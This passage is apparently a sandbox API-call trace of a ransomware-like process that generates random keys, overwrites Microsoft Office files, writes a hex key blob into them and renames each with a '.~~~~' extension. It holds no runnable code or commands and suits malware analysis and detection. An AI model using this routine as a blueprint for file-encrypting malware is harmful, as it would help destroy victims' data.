	[0133.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0133.106] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25309614116) returned 1
	[0133.106] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb8c6b3f0, dwHighDateTime=0x1d60e1e)) 
	[0133.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0133.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0133.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0133.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2809bc0
	[0133.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.106] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809bc0 | out: hHeap=0x300000) returned 1
	[0133.107] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.107] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.107] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0133.107] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.107] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0133.107] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0133.107] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0133.107] GetLastError () returned 0x0
	[0133.107] GetLastError () returned 0x0
	[0133.107] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0133.107] GetLastError () returned 0x0
	[0133.108] GetLastError () returned 0x0
	[0133.111] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffffc9a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.112] WriteFile (in: hFile=0x144, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x366, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x366, lpOverlapped=0x0) returned 1
	[0133.115] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0133.115] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.115] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.115] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.115] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.115] CloseHandle (hObject=0x144) returned 1
	[0133.115] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2802500
	[0133.115] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\RTF_BOLD.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_bold.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\RTF_BOLD.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_bold.gif.~~~~")) returned 1
	[0133.117] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2802500 | out: hHeap=0x300000) returned 1
	[0133.117] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0133.118] GetLastError () returned 0x0
	[0133.118] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x2908070) returned 1
	[0133.119] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0133.119] CryptReleaseContext (hProv=0x2908070, dwFlags=0x0) returned 1
	[0133.119] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0133.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0133.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0133.119] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25310953837) returned 1
	[0133.119] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb8c91550, dwHighDateTime=0x1d60e1e)) 
	[0133.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0133.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0133.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0133.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280a250
	[0133.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.120] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280a250 | out: hHeap=0x300000) returned 1
	[0133.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.120] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0133.120] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0133.120] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0133.120] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0133.121] GetLastError () returned 0x0
	[0133.121] GetLastError () returned 0x0
	[0133.121] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0133.121] GetLastError () returned 0x0
	[0133.121] GetLastError () returned 0x0
	[0133.124] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffff7ce, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.124] WriteFile (in: hFile=0x144, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x832, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x832, lpOverlapped=0x0) returned 1
	[0133.127] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0133.127] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.127] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.127] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.127] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.127] CloseHandle (hObject=0x144) returned 1
	[0133.127] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0218
	[0133.127] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Generic.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\generic.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Generic.gif.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\generic.gif.~~~~")) returned 1
	[0133.129] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f0218 | out: hHeap=0x300000) returned 1
	[0133.129] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0133.129] GetLastError () returned 0x0
	[0133.130] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x2908070) returned 1
	[0133.132] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0133.132] CryptReleaseContext (hProv=0x2908070, dwFlags=0x0) returned 1
	[0133.132] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0133.132] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0133.132] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0133.132] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25312195633) returned 1
	[0133.132] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb8cb76b0, dwHighDateTime=0x1d60e1e)) 
	[0133.132] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0133.132] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0133.132] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0133.132] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280a218
	[0133.132] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.132] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280a218 | out: hHeap=0x300000) returned 1
	[0133.132] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.132] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.132] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0133.133] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.133] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0133.133] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0133.133] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0133.133] GetLastError () returned 0x0
	[0133.133] GetLastError () returned 0x0
	[0133.133] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0133.133] GetLastError () returned 0x0
	[0133.133] GetLastError () returned 0x0
	[0133.135] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffff1e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.135] WriteFile (in: hFile=0x144, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0xe2, lpOverlapped=0x0) returned 1
	[0133.137] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0133.137] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.137] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.137] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.137] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.137] CloseHandle (hObject=0x144) returned 1
	[0133.137] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2800b18
	[0133.138] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\gradient.png" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\gradient.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\gradient.png.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\gradient.png.~~~~")) returned 1
	[0133.250] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2800b18 | out: hHeap=0x300000) returned 1
	[0133.250] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0133.250] GetLastError () returned 0x0
	[0133.371] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a1258) returned 1
	[0133.372] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0133.372] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0133.372] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0133.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0133.373] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0133.373] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25336275181) returned 1
	[0133.373] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb8f18cb0, dwHighDateTime=0x1d60e1e)) 
	[0133.373] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0133.373] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0133.373] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0133.373] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2824248
	[0133.373] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.373] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824248 | out: hHeap=0x300000) returned 1
	[0133.373] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.373] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.373] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0133.373] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.373] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0133.373] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0133.373] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0133.374] GetLastError () returned 0x0
	[0133.374] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0133.374] GetLastError () returned 0x0
	[0133.375] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffffe32, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.375] WriteFile (in: hFile=0xc4, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x1ce, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x1ce, lpOverlapped=0x0) returned 1
	[0133.378] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0133.378] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.378] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.379] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.379] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.379] CloseHandle (hObject=0xc4) returned 1
	[0133.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x28a72a0
	[0133.379] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2\\tab_off.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\TAB_OFF.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2\\tab_off.gif.~~~~")) returned 1
	[0133.381] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a72a0 | out: hHeap=0x300000) returned 1
	[0133.381] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0133.381] GetLastError () returned 0x0
	[0133.382] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a1258) returned 1
	[0133.383] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0133.383] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0133.383] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0133.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0133.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0133.383] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25337342565) returned 1
	[0133.383] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb8f18cb0, dwHighDateTime=0x1d60e1e)) 
	[0133.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0133.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0133.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0133.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2824280
	[0133.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.384] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824280 | out: hHeap=0x300000) returned 1
	[0133.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.384] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0133.384] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0133.384] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0133.384] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0133.384] GetLastError () returned 0x0
	[0133.385] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0133.385] GetLastError () returned 0x0
	[0133.386] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffffeab, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.386] WriteFile (in: hFile=0xc4, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x155, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x155, lpOverlapped=0x0) returned 1
	[0133.405] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0133.405] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.405] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.406] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.406] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.406] CloseHandle (hObject=0xc4) returned 1
	[0133.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x28a72a0
	[0133.406] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl\\tab_off.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\TAB_OFF.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl\\tab_off.gif.~~~~")) returned 1
	[0133.409] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a72a0 | out: hHeap=0x300000) returned 1
